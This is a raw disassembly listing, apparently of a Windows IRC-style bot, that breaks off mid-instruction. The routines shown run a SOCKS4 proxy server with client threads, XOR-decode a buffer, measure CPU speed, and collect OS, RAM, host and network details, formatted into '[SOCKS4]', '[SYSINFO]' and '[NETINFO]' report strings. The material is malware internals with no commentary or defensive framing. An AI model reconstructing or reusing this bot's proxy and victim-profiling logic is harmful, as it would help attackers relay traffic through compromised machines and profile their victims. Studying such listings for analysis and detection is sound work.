loc_40F754 ; --------------------------------------------------------------------------- loc_40F73C: ; CODE XREF: sub_40F689+9Aj mov word_42B31E, bx mov byte_42B323, dl mov esi, offset loc_42B310 rep movsd movsw push 17h loc_40F754: ; CODE XREF: sub_40F689+B1j pop eax xor ecx, ecx test ebx, ebx movsb pop edi jbe short loc_40F772 mov esi, [ebp+arg_0] add esi, eax loc_40F762: ; CODE XREF: sub_40F689+E7j mov eax, [ebp+arg_8] mov al, [ecx+eax] xor al, dl mov [esi+ecx], al inc ecx cmp ecx, ebx jb short loc_40F762 loc_40F772: ; CODE XREF: sub_40F689+D2j mov eax, [ebp+arg_C] loc_40F775: ; CODE XREF: sub_40F689+58j pop esi pop ebx pop ebp retn sub_40F689 endp ; =============== S U B R O U T I N E ======================================= sub_40F779 proc near ; CODE XREF: sub_40F790+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40F54A push eax call sub_40F66E add esp, 0Ch retn sub_40F779 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F790 proc near ; CODE XREF: sub_411235+6Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_40F779 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40F7B0 cmp eax, 0FFFFh jbe short loc_40F7B4 loc_40F7B0: ; CODE XREF: sub_40F790+17j xor eax, eax jmp short loc_40F7F9 ; --------------------------------------------------------------------------- loc_40F7B4: ; CODE XREF: sub_40F790+1Ej push esi push edi push ebx call sub_40F54A add eax, 101h push eax call sub_41344D add esp, 0Ch push edi push ebx push edi push ebx mov esi, eax call sub_40F54A pop ecx pop ecx push eax push esi call sub_40F576 push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40F689 push esi mov edi, eax call sub_412FE4 add esp, 24h mov eax, edi pop esi loc_40F7F9: ; CODE XREF: sub_40F790+22j pop edi pop ebx pop ebp retn sub_40F790 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F7FD proc near ; CODE XREF: sub_40F8FA+200p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx push esi push edi xor ebx, ebx mov esi, 400h loc_40F810: ; CODE XREF: sub_40F7FD+C0j ; sub_40F7FD+F2j mov eax, [ebp+arg_4] xor ecx, ecx inc ecx mov [ebp+var_100], eax mov [ebp+var_104], ecx xor eax, eax loc_40F824: ; CODE XREF: sub_40F7FD+36j mov edx, [ebp+arg_0] cmp [ebp+eax*4+var_100], edx jz short loc_40F835 inc eax cmp eax, ecx jb short loc_40F824 loc_40F835: ; CODE XREF: sub_40F7FD+31j cmp eax, ecx jnz short loc_40F849 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_40F849: ; CODE XREF: sub_40F7FD+3Aj push ebx xor eax, eax push ebx mov ecx, 100h lea edi, [ebp+var_504] rep stosd push ebx lea eax, [ebp+var_104] push eax push ebx call dword_433544 lea eax, [ebp+var_104] push eax push [ebp+arg_4] call dword_4334F4 test eax, eax jz short loc_40F8AB push ebx push esi lea eax, [ebp+var_504] push eax push [ebp+arg_4] call dword_433414 cmp eax, 0FFFFFFFFh jz short loc_40F8F5 push ebx push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_433534 cmp eax, 0FFFFFFFFh jz short loc_40F8F5 loc_40F8AB: ; CODE XREF: sub_40F7FD+7Ej lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_4334F4 test eax, eax jz loc_40F810 push ebx push esi lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_433414 cmp eax, 0FFFFFFFFh jz short loc_40F8F5 push ebx push eax lea eax, [ebp+var_504] push eax push [ebp+arg_4] call dword_433534 cmp eax, 0FFFFFFFFh jnz loc_40F810 loc_40F8F5: ; CODE XREF: sub_40F7FD+95j ; sub_40F7FD+ACj ... pop edi pop esi pop ebx leave retn sub_40F7FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_40F8FA proc near ; DATA XREF: sub_40FB2A+13Fo var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_4D4 = byte ptr -4D4h var_4D3 = byte ptr -4D3h var_4D2 = word ptr -4D2h var_4D0 = dword ptr -4D0h var_4CC = byte ptr -4CCh var_CC = byte ptr -0CCh var_48 = byte ptr -48h var_30 = dword ptr -30h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 5D8h mov edx, [ebp+74h+arg_0] push ebx push esi push edi push 2Ch pop ecx mov esi, edx lea edi, [ebp+74h+var_CC] rep movsd mov edi, [ebp+74h+var_30] xor eax, eax inc eax mov [edx+0ACh], eax mov esi, edi mov [ebp+74h+var_5D8], eax imul esi, 234h mov ecx, dword_434344[esi] xor ebx, ebx lea eax, [ebp+74h+var_C] push eax push ebx push ebx lea eax, [ebp+74h+var_5D8] push eax push ebx mov [ebp+74h+arg_0], edi mov [ebp+74h+var_C], 5 mov [ebp+74h+var_8], ebx mov [ebp+74h+var_5D4], ecx call dword_433544 test eax, eax jnz short loc_40F96D push dword_434344[esi] jmp loc_40FB15 ; --------------------------------------------------------------------------- loc_40F96D: ; CODE XREF: sub_40F8FA+66j push ebx push 408h lea eax, [ebp+74h+var_4D4] push eax push dword_434344[esi] call dword_433414 test eax, eax jle loc_40FB0F cmp [ebp+74h+var_4D4], 4 jnz loc_40FB0F cmp [ebp+74h+var_4D3], 1 jnz loc_40FB0F cmp [ebp+74h+var_48], bl jz loc_40FA43 lea eax, [ebp+74h+var_48] lea edi, [ebp+74h+var_4CC] loc_40F9BA: ; CODE XREF: sub_40F8FA+DCj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_40F9DC cmp cl, bl jz short loc_40F9D8 mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_40F9DC inc edi inc edi inc eax inc eax cmp cl, bl jnz short loc_40F9BA loc_40F9D8: ; CODE XREF: sub_40F8FA+CAj xor eax, eax jmp short loc_40F9E1 ; --------------------------------------------------------------------------- loc_40F9DC: ; CODE XREF: sub_40F8FA+C6j ; sub_40F8FA+D4j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40F9E1: ; CODE XREF: sub_40F8FA+E0j cmp eax, ebx jz short loc_40FA43 lea eax, [ebp+74h+var_48] push eax lea eax, [ebp+74h+var_4CC] push eax push offset aSocks4Authenti ; "[SOCKS4]: Authentication failed. Remote"... call sub_401CA7 add esp, 0Ch mov [ebp+74h+var_4D4], bl mov [ebp+74h+var_4D3], 5Dh loc_40FA0A: ; CODE XREF: sub_40F8FA+1C0j xor eax, eax push ebx mov ecx, 100h lea edi, [ebp+74h+var_4CC] rep stosd push 8 lea eax, [ebp+74h+var_4D4] push eax push dword_434344[esi] call dword_433534 loc_40FA2F: ; CODE XREF: sub_40F8FA+210j push dword_434344[esi] call dword_4335AC push [ebp+74h+arg_0] jmp loc_40FB1C ; --------------------------------------------------------------------------- loc_40FA43: ; CODE XREF: sub_40F8FA+B1j ; sub_40F8FA+E9j xor eax, eax lea edi, [ebp+74h+var_1C] stosd stosd stosd stosd mov ax, [ebp+74h+var_4D2] push 6 mov [ebp+74h+var_1A], ax mov eax, [ebp+74h+var_4D0] push 1 push 2 mov [ebp+74h+var_1C], 2 mov [ebp+74h+var_18], eax call dword_4334A0 cmp eax, 0FFFFFFFFh mov [ebp+74h+var_4], eax jnz short loc_40FA88 call dword_433558 push eax push offset aSocks4ErrorFai ; "[SOCKS4]: Error: Failed to open socket("... jmp short loc_40FAA6 ; --------------------------------------------------------------------------- loc_40FA88: ; CODE XREF: sub_40F8FA+17Ej push 10h lea ecx, [ebp+74h+var_1C] push ecx push eax call dword_433458 cmp eax, 0FFFFFFFFh jnz short loc_40FABF call dword_433558 push eax push offset aSocks4ErrorF_0 ; "[SOCKS4]: Error: Failed to connect to t"... loc_40FAA6: ; CODE XREF: sub_40F8FA+18Cj call sub_401CA7 pop ecx pop ecx mov [ebp+74h+var_4D4], bl mov [ebp+74h+var_4D3], 5Bh jmp loc_40FA0A ; --------------------------------------------------------------------------- loc_40FABF: ; CODE XREF: sub_40F8FA+19Ej xor eax, eax push ebx mov [ebp+74h+var_4D4], bl mov [ebp+74h+var_4D3], 5Ah mov ecx, 100h lea edi, [ebp+74h+var_4CC] rep stosd push 8 lea eax, [ebp+74h+var_4D4] push eax push dword_434344[esi] call dword_433534 push dword_434344[esi] push [ebp+74h+var_4] call sub_40F7FD pop ecx pop ecx push [ebp+74h+var_4] call dword_4335AC jmp loc_40FA2F ; --------------------------------------------------------------------------- loc_40FB0F: ; CODE XREF: sub_40F8FA+8Ej ; sub_40F8FA+9Bj ... push dword_434344[esi] loc_40FB15: ; CODE XREF: sub_40F8FA+6Ej call dword_4335AC push edi loc_40FB1C: ; CODE XREF: sub_40F8FA+144j call sub_4111AE pop ecx push ebx call ds:dword_41F014 int 3 ; Trap to Debugger sub_40F8FA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_40FB2A proc near ; DATA XREF: sub_4078FA+494Co var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 2D4h mov eax, [ebp+74h+arg_0] push ebx push esi push edi mov esi, eax push 2Ch pop ecx xor ebx, ebx lea edi, [ebp+74h+var_D4] rep movsd push [ebp+74h+var_40] inc ebx mov [eax+0A8h], ebx xor eax, eax lea edi, [ebp+74h+var_14] stosd stosd stosd stosd mov [ebp+74h+var_4], 10h mov [ebp+74h+var_14], 2 call dword_4335EC push 6 push ebx xor esi, esi push 2 mov [ebp+74h+var_12], ax mov [ebp+74h+var_10], esi call dword_4334A0 mov edi, eax mov eax, [ebp+74h+var_3C] imul eax, 234h mov dword_434344[eax], edi push 10h lea eax, [ebp+74h+var_14] push eax push edi call dword_433578 test eax, eax jnz loc_40FCBB push 0Ah push edi call dword_4335C0 test eax, eax jnz loc_40FCBB push [ebp+74h+var_40] push [ebp+74h+var_D4] call sub_406C33 pop ecx push eax lea eax, [ebp+74h+var_2D4] push offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d." push eax call sub_412BB5 add esp, 10h cmp [ebp+74h+var_30], esi jnz short loc_40FBF8 push esi push [ebp+74h+var_34] lea eax, [ebp+74h+var_2D4] push eax lea eax, [ebp+74h+var_D0] push eax push [ebp+74h+var_D4] call sub_4045DD add esp, 14h loc_40FBF8: ; CODE XREF: sub_40FB2A+B2j ; sub_40FB2A+17Aj ... lea eax, [ebp+74h+var_2D4] push eax call sub_401C33 pop ecx lea eax, [ebp+74h+var_4] push eax lea eax, [ebp+74h+var_24] push eax push edi call dword_433464 push [ebp+74h+var_3C] mov ebx, eax movzx eax, [ebp+74h+var_22] push eax push [ebp+74h+var_20] mov [ebp+74h+var_28], esi call dword_433520 push eax lea eax, [ebp+74h+var_2D4] push offset aSocks4ClientCo ; "[SOCKS4]: Client connection from IP: %s"... push eax call sub_412BB5 push ebx lea eax, [ebp+74h+var_2D4] push 12h push eax call sub_410EEA mov ecx, [ebp+74h+var_3C] mov [ebp+74h+var_38], eax imul eax, 234h add esp, 20h mov dword_43433C[eax], ecx lea eax, [ebp+74h+arg_0] push eax push esi lea eax, [ebp+74h+var_D4] push eax push offset sub_40F8FA push esi push esi call ds:dword_41F00C mov ecx, [ebp+74h+var_38] imul ecx, 234h cmp eax, esi mov dword_43434C[ecx], eax jnz short loc_40FCB1 call ds:dword_41F008 push eax lea eax, [ebp+74h+var_2D4] push offset aSocks4Failed_0 ; "[SOCKS4]: Failed to start client thread"... push eax call sub_412BB5 add esp, 0Ch jmp loc_40FBF8 ; --------------------------------------------------------------------------- loc_40FCA9: ; CODE XREF: sub_40FB2A+18Aj push 5 call ds:dword_41F000 loc_40FCB1: ; CODE XREF: sub_40FB2A+15Dj cmp [ebp+74h+var_28], esi jz short loc_40FCA9 jmp loc_40FBF8 ; --------------------------------------------------------------------------- loc_40FCBB: ; CODE XREF: sub_40FB2A+77j ; sub_40FB2A+88j push edi call dword_4335AC push [ebp+74h+var_40] lea eax, [ebp+74h+var_2D4] push offset aSocks4Failed_1 ; "[SOCKS4]: Failed to start server on Por"... push eax call sub_412BB5 add esp, 0Ch cmp [ebp+74h+var_30], esi jnz short loc_40FCF8 push esi push [ebp+74h+var_34] lea eax, [ebp+74h+var_2D4] push eax lea eax, [ebp+74h+var_D0] push eax push [ebp+74h+var_D4] call sub_4045DD add esp, 14h loc_40FCF8: ; CODE XREF: sub_40FB2A+1B2j lea eax, [ebp+74h+var_2D4] push eax call sub_401C33 push [ebp+74h+var_3C] call sub_4111AE pop ecx pop ecx push esi call ds:dword_41F014 int 3 ; Trap to Debugger sub_40FB2A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40FD16 proc near ; CODE XREF: sub_401000+74p ; sub_4078FA+42B4p ... arg_0 = dword ptr 4 push esi push edi call ds:dword_41F004 xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov ecx, 15180h mov esi, 0E10h push 3Ch pop edi sub eax, [esp+8+arg_0] div ecx mov ecx, eax mov eax, edx xor edx, edx div esi mov esi, eax mov eax, edx xor edx, edx div edi push eax push esi push ecx push offset aDdDhDm ; "%dd %dh %dm" push 32h mov esi, offset dword_479E1C push esi call sub_412E0D add esp, 18h pop edi mov eax, esi pop esi retn sub_40FD16 endp ; =============== S U B R O U T I N E ======================================= sub_40FD69 proc near ; CODE XREF: sub_40FE1F+240p push ebx push esi push edi mov edi, 0F4240h loc_40FD71: ; CODE XREF: sub_40FD69+2Fj ; sub_40FD69+35j rdtsc push 3E8h mov ebx, edx mov esi, eax call ds:dword_41F000 rdtsc push 0 sub eax, esi push edi sbb edx, ebx push edx push eax call sub_414600 mov esi, edx test esi, esi mov ebx, eax ja short loc_40FD71 jb short loc_40FDA0 cmp ebx, edi ja short loc_40FD71 loc_40FDA0: ; CODE XREF: sub_40FD69+31j push 0 push 64h push esi push ebx call sub_414580 mov ecx, edx push 64h xor edx, edx test ecx, ecx mov edi, eax pop eax ja short loc_40FE13 jb short loc_40FDBF cmp edi, 50h jnb short loc_40FDC4 loc_40FDBF: ; CODE XREF: sub_40FD69+4Fj push 4Bh pop eax xor edx, edx loc_40FDC4: ; CODE XREF: sub_40FD69+54j test ecx, ecx ja short loc_40FE13 jb short loc_40FDCF cmp edi, 47h jnb short loc_40FDD4 loc_40FDCF: ; CODE XREF: sub_40FD69+5Fj push 42h pop eax xor edx, edx loc_40FDD4: ; CODE XREF: sub_40FD69+64j test ecx, ecx ja short loc_40FE13 jb short loc_40FDDF cmp edi, 37h jnb short loc_40FDE4 loc_40FDDF: ; CODE XREF: sub_40FD69+6Fj push 32h pop eax xor edx, edx loc_40FDE4: ; CODE XREF: sub_40FD69+74j test ecx, ecx ja short loc_40FE13 jb short loc_40FDEF cmp edi, 26h jnb short loc_40FDF4 loc_40FDEF: ; CODE XREF: sub_40FD69+7Fj push 21h pop eax xor edx, edx loc_40FDF4: ; CODE XREF: sub_40FD69+84j test ecx, ecx ja short loc_40FE13 jb short loc_40FDFF cmp edi, 1Eh jnb short loc_40FE04 loc_40FDFF: ; CODE XREF: sub_40FD69+8Fj push 19h pop eax xor edx, edx loc_40FE04: ; CODE XREF: sub_40FD69+94j test ecx, ecx ja short loc_40FE13 jb short loc_40FE0F cmp edi, 0Ah jnb short loc_40FE13 loc_40FE0F: ; CODE XREF: sub_40FD69+9Fj xor eax, eax xor edx, edx loc_40FE13: ; CODE XREF: sub_40FD69+4Dj ; sub_40FD69+5Dj ... sub eax, edi sbb edx, ecx add eax, ebx pop edi adc edx, esi pop esi pop ebx retn sub_40FD69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=70h sub_40FE1F proc near ; CODE XREF: sub_4078FA+44ABp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp lea ebp, [esp-70h] sub esp, 7E8h push ebx push esi push edi lea eax, [ebp+70h+var_CC] push eax mov [ebp+70h+var_4], 41FA76h mov [ebp+70h+var_CC], 94h call ds:dword_41F0F8 xor ebx, ebx cmp [ebp+70h+var_C8], 4 jnz short loc_40FE90 cmp [ebp+70h+var_C4], ebx jnz short loc_40FE72 cmp [ebp+70h+var_BC], 1 jnz short loc_40FE5F mov [ebp+70h+var_4], offset a95 ; "95" loc_40FE5F: ; CODE XREF: sub_40FE1F+37j cmp [ebp+70h+var_BC], 2 jnz loc_40FEF6 mov [ebp+70h+var_4], offset aNt ; "NT" jmp short loc_40FECD ; --------------------------------------------------------------------------- loc_40FE72: ; CODE XREF: sub_40FE1F+31j cmp [ebp+70h+var_C4], 0Ah jnz short loc_40FE81 mov [ebp+70h+var_4], offset a98 ; "98" jmp short loc_40FEC7 ; --------------------------------------------------------------------------- loc_40FE81: ; CODE XREF: sub_40FE1F+57j cmp [ebp+70h+var_C4], 5Ah jnz short loc_40FEC0 mov [ebp+70h+var_4], offset aMe_0 ; "ME" jmp short loc_40FEC7 ; --------------------------------------------------------------------------- loc_40FE90: ; CODE XREF: sub_40FE1F+2Cj cmp [ebp+70h+var_C8], 5 jnz short loc_40FEC0 cmp [ebp+70h+var_C4], ebx jnz short loc_40FEA4 mov [ebp+70h+var_4], offset a2k ; "2K" jmp short loc_40FEC7 ; --------------------------------------------------------------------------- loc_40FEA4: ; CODE XREF: sub_40FE1F+7Aj cmp [ebp+70h+var_C4], 1 jnz short loc_40FEB3 mov [ebp+70h+var_4], offset aXp_0 ; "XP" jmp short loc_40FEC7 ; --------------------------------------------------------------------------- loc_40FEB3: ; CODE XREF: sub_40FE1F+89j cmp [ebp+70h+var_C4], 2 mov [ebp+70h+var_4], offset a2003 ; "2003" jz short loc_40FEC7 loc_40FEC0: ; CODE XREF: sub_40FE1F+66j ; sub_40FE1F+75j mov [ebp+70h+var_4], offset a??? ; "???" loc_40FEC7: ; CODE XREF: sub_40FE1F+60j ; sub_40FE1F+6Fj ... cmp [ebp+70h+var_BC], 2 jnz short loc_40FEF6 loc_40FECD: ; CODE XREF: sub_40FE1F+51j cmp [ebp+70h+var_B8], bl jz short loc_40FEF6 lea eax, [ebp+70h+var_B8] push eax push [ebp+70h+var_4] lea eax, [ebp+70h+var_2E8] push offset aSS_4 ; "%s (%s)" push eax call sub_412BB5 lea eax, [ebp+70h+var_2E8] add esp, 10h mov [ebp+70h+var_4], eax loc_40FEF6: ; CODE XREF: sub_40FE1F+44j ; sub_40FE1F+ACj ... push 3Fh pop ecx xor eax, eax mov [ebp+70h+var_25C], cx lea edi, [ebp+70h+var_25A] rep stosd stosw mov eax, dword_433530 cmp eax, ebx mov [ebp+70h+var_C], 100h jz short loc_40FF29 lea ecx, [ebp+70h+var_C] push ecx lea ecx, [ebp+70h+var_25C] push ecx call eax loc_40FF29: ; CODE XREF: sub_40FE1F+FBj push [ebp+70h+arg_4] call sub_406C33 pop ecx push eax call dword_433514 push 2 mov [ebp+70h+var_8], eax push 4 lea eax, [ebp+70h+var_8] push eax call dword_433590 cmp eax, ebx jz short loc_40FF52 push dword ptr [eax] jmp short loc_40FF57 ; --------------------------------------------------------------------------- loc_40FF52: ; CODE XREF: sub_40FE1F+12Dj push offset aCouldnTResolve ; "couldn't resolve host" loc_40FF57: ; CODE XREF: sub_40FE1F+131j lea eax, [ebp+70h+var_3E4] push eax call sub_412BB5 pop ecx pop ecx push 104h lea eax, [ebp+70h+var_4E8] push eax call ds:dword_41F040 push 46h lea eax, [ebp+70h+var_114] push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx push ebx mov esi, 409h push esi call ds:dword_41F068 push 46h lea eax, [ebp+70h+var_15C] push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_41F064 push 8 pop ecx xor eax, eax lea edi, [ebp+70h+var_38] rep stosd lea eax, [ebp+70h+var_38] push eax call ds:dword_41F108 push ebx push ebx push ebx lea eax, [ebp+70h+var_18] push eax lea eax, [ebp+70h+var_4E8] push eax call sub_4141AD lea eax, [ebp+70h+var_18] push eax lea eax, [ebp+70h+var_7E8] push eax call sub_40253D push 60h pop ecx mov esi, eax lea edi, [ebp+70h+var_668] push ebx rep movsd call sub_40FD16 add esp, 20h push eax lea eax, [ebp+70h+var_15C] push eax lea eax, [ebp+70h+var_114] push eax lea eax, [ebp+70h+var_25C] push eax push [ebp+70h+arg_4] call sub_406C33 pop ecx push eax lea eax, [ebp+70h+var_3E4] push eax lea eax, [ebp+70h+var_4E8] push eax push [ebp+70h+var_C0] lea eax, [ebp+70h+var_5E8] push [ebp+70h+var_C4] push [ebp+70h+var_C8] push [ebp+70h+var_4] push eax lea eax, [ebp+70h+var_568] push eax mov eax, [ebp+70h+var_2C] shr eax, 0Ah push ebx push eax call sub_402439 pop ecx pop ecx push eax mov eax, [ebp+70h+var_30] shr eax, 0Ah push ebx push eax call sub_402439 pop ecx pop ecx push eax call sub_40FD69 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+70h+arg_0] call sub_412E0D mov eax, [ebp+70h+arg_0] add esp, 50h pop edi pop esi pop ebx add ebp, 70h leave retn sub_40FE1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=6Ch sub_410086 proc near ; CODE XREF: sub_4078FA+33AEp ; sub_4078FA+44DAp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-6Ch] sub esp, 8Ch push edi push 20h pop ecx xor eax, eax cmp dword_433618, eax lea edi, [ebp+6Ch+var_8C] rep stosd pop edi jnz short loc_4100EC push eax push 80h lea eax, [ebp+6Ch+var_8C] push eax lea eax, [ebp+6Ch+var_C] push eax call dword_4335E8 test eax, eax jnz short loc_4100CD lea eax, [ebp+6Ch+var_8C] push offset dword_4271BC push eax call sub_412BB5 pop ecx pop ecx loc_4100CD: ; CODE XREF: sub_410086+35j test [ebp+6Ch+var_C], 1 lea eax, [ebp+6Ch+var_8] jz short loc_4100E5 push offset dword_4271B4 loc_4100DB: ; CODE XREF: sub_410086+64j push eax call sub_412BB5 pop ecx pop ecx jmp short loc_41010A ; --------------------------------------------------------------------------- loc_4100E5: ; CODE XREF: sub_410086+4Ej push offset dword_4271B0 jmp short loc_4100DB ; --------------------------------------------------------------------------- loc_4100EC: ; CODE XREF: sub_410086+1Dj push esi mov esi, offset off_4271AC lea eax, [ebp+6Ch+var_8] push esi push eax call sub_412BB5 lea eax, [ebp+6Ch+var_8C] push esi push eax call sub_412BB5 add esp, 10h pop esi loc_41010A: ; CODE XREF: sub_410086+5Dj push [ebp+6Ch+arg_4] push [ebp+6Ch+arg_8] call sub_406C33 pop ecx push eax lea eax, [ebp+6Ch+var_8C] push eax lea eax, [ebp+6Ch+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+6Ch+arg_0] call sub_412E0D mov eax, [ebp+6Ch+arg_0] add esp, 1Ch add ebp, 6Ch leave retn sub_410086 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_41013C proc near ; CODE XREF: sub_401525+71p ; sub_410408+1Cp var_E4 = word ptr -0E4h var_E2 = word ptr -0E2h var_E0 = word ptr -0E0h var_DE = word ptr -0DEh var_DC = word ptr -0DCh var_DA = word ptr -0DAh var_D8 = word ptr -0D8h var_D6 = word ptr -0D6h var_D4 = word ptr -0D4h var_D2 = word ptr -0D2h var_D0 = word ptr -0D0h var_CE = word ptr -0CEh var_CC = word ptr -0CCh var_CA = word ptr -0CAh var_C8 = word ptr -0C8h var_C6 = word ptr -0C6h var_C4 = word ptr -0C4h var_C2 = word ptr -0C2h var_C0 = word ptr -0C0h var_BE = word ptr -0BEh var_BC = word ptr -0BCh var_BA = word ptr -0BAh var_B8 = word ptr -0B8h var_B6 = word ptr -0B6h var_B4 = word ptr -0B4h var_B2 = word ptr -0B2h var_B0 = word ptr -0B0h var_AE = word ptr -0AEh var_AC = word ptr -0ACh var_AA = word ptr -0AAh var_A8 = word ptr -0A8h var_A6 = word ptr -0A6h var_A4 = word ptr -0A4h var_A2 = word ptr -0A2h var_A0 = word ptr -0A0h var_9E = word ptr -9Eh var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = word ptr -98h var_96 = word ptr -96h var_94 = word ptr -94h var_92 = word ptr -92h var_90 = word ptr -90h var_8E = word ptr -8Eh var_8C = word ptr -8Ch var_8A = word ptr -8Ah var_88 = word ptr -88h var_86 = word ptr -86h var_84 = word ptr -84h var_82 = word ptr -82h var_80 = word ptr -80h var_7E = word ptr -7Eh var_7C = word ptr -7Ch var_7A = word ptr -7Ah var_78 = word ptr -78h var_76 = word ptr -76h var_74 = word ptr -74h var_72 = word ptr -72h var_70 = word ptr -70h var_6E = word ptr -6Eh var_6C = word ptr -6Ch var_6A = word ptr -6Ah var_68 = word ptr -68h var_66 = word ptr -66h var_64 = word ptr -64h var_62 = word ptr -62h var_60 = word ptr -60h var_5E = word ptr -5Eh var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = word ptr -58h var_56 = word ptr -56h var_54 = word ptr -54h var_52 = word ptr -52h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = word ptr -48h var_46 = word ptr -46h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = word ptr -38h var_36 = word ptr -36h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = word ptr -0Ch var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 0E4h xor eax, eax mov [ebp+74h+var_E4], ax mov [ebp+74h+var_E2], 1 mov [ebp+74h+var_E0], 2 mov [ebp+74h+var_DE], 5 mov [ebp+74h+var_DC], 7 mov [ebp+74h+var_DA], 0Bh mov [ebp+74h+var_D8], 17h mov [ebp+74h+var_D6], 1Bh mov [ebp+74h+var_D4], 1Fh mov [ebp+74h+var_D2], 24h mov [ebp+74h+var_D0], 25h mov [ebp+74h+var_CE], 27h mov [ebp+74h+var_CC], 29h mov [ebp+74h+var_CA], 2Ah mov [ebp+74h+var_C8], 31h mov [ebp+74h+var_C6], 32h mov [ebp+74h+var_C4], 49h mov [ebp+74h+var_C2], 4Ah mov [ebp+74h+var_C0], 4Bh mov [ebp+74h+var_BE], 4Ch mov [ebp+74h+var_BC], 4Dh mov [ebp+74h+var_BA], 4Eh mov [ebp+74h+var_B8], 4Fh mov [ebp+74h+var_B6], 59h mov [ebp+74h+var_B4], 5Ah mov [ebp+74h+var_B2], 5Bh mov [ebp+74h+var_B0], 5Ch mov [ebp+74h+var_AE], 5Dh mov [ebp+74h+var_AC], 5Eh mov [ebp+74h+var_AA], 5Fh mov [ebp+74h+var_A8], 60h mov [ebp+74h+var_A6], 61h mov [ebp+74h+var_A4], 62h mov [ebp+74h+var_A2], 63h mov [ebp+74h+var_A0], 64h mov [ebp+74h+var_9E], 65h mov [ebp+74h+var_9C], 66h mov [ebp+74h+var_9A], 67h mov [ebp+74h+var_98], 68h mov [ebp+74h+var_96], 69h mov [ebp+74h+var_94], 6Ah mov [ebp+74h+var_92], 6Bh mov [ebp+74h+var_90], 6Ch mov [ebp+74h+var_8E], 6Dh mov [ebp+74h+var_8C], 6Eh mov [ebp+74h+var_8A], 6Fh mov 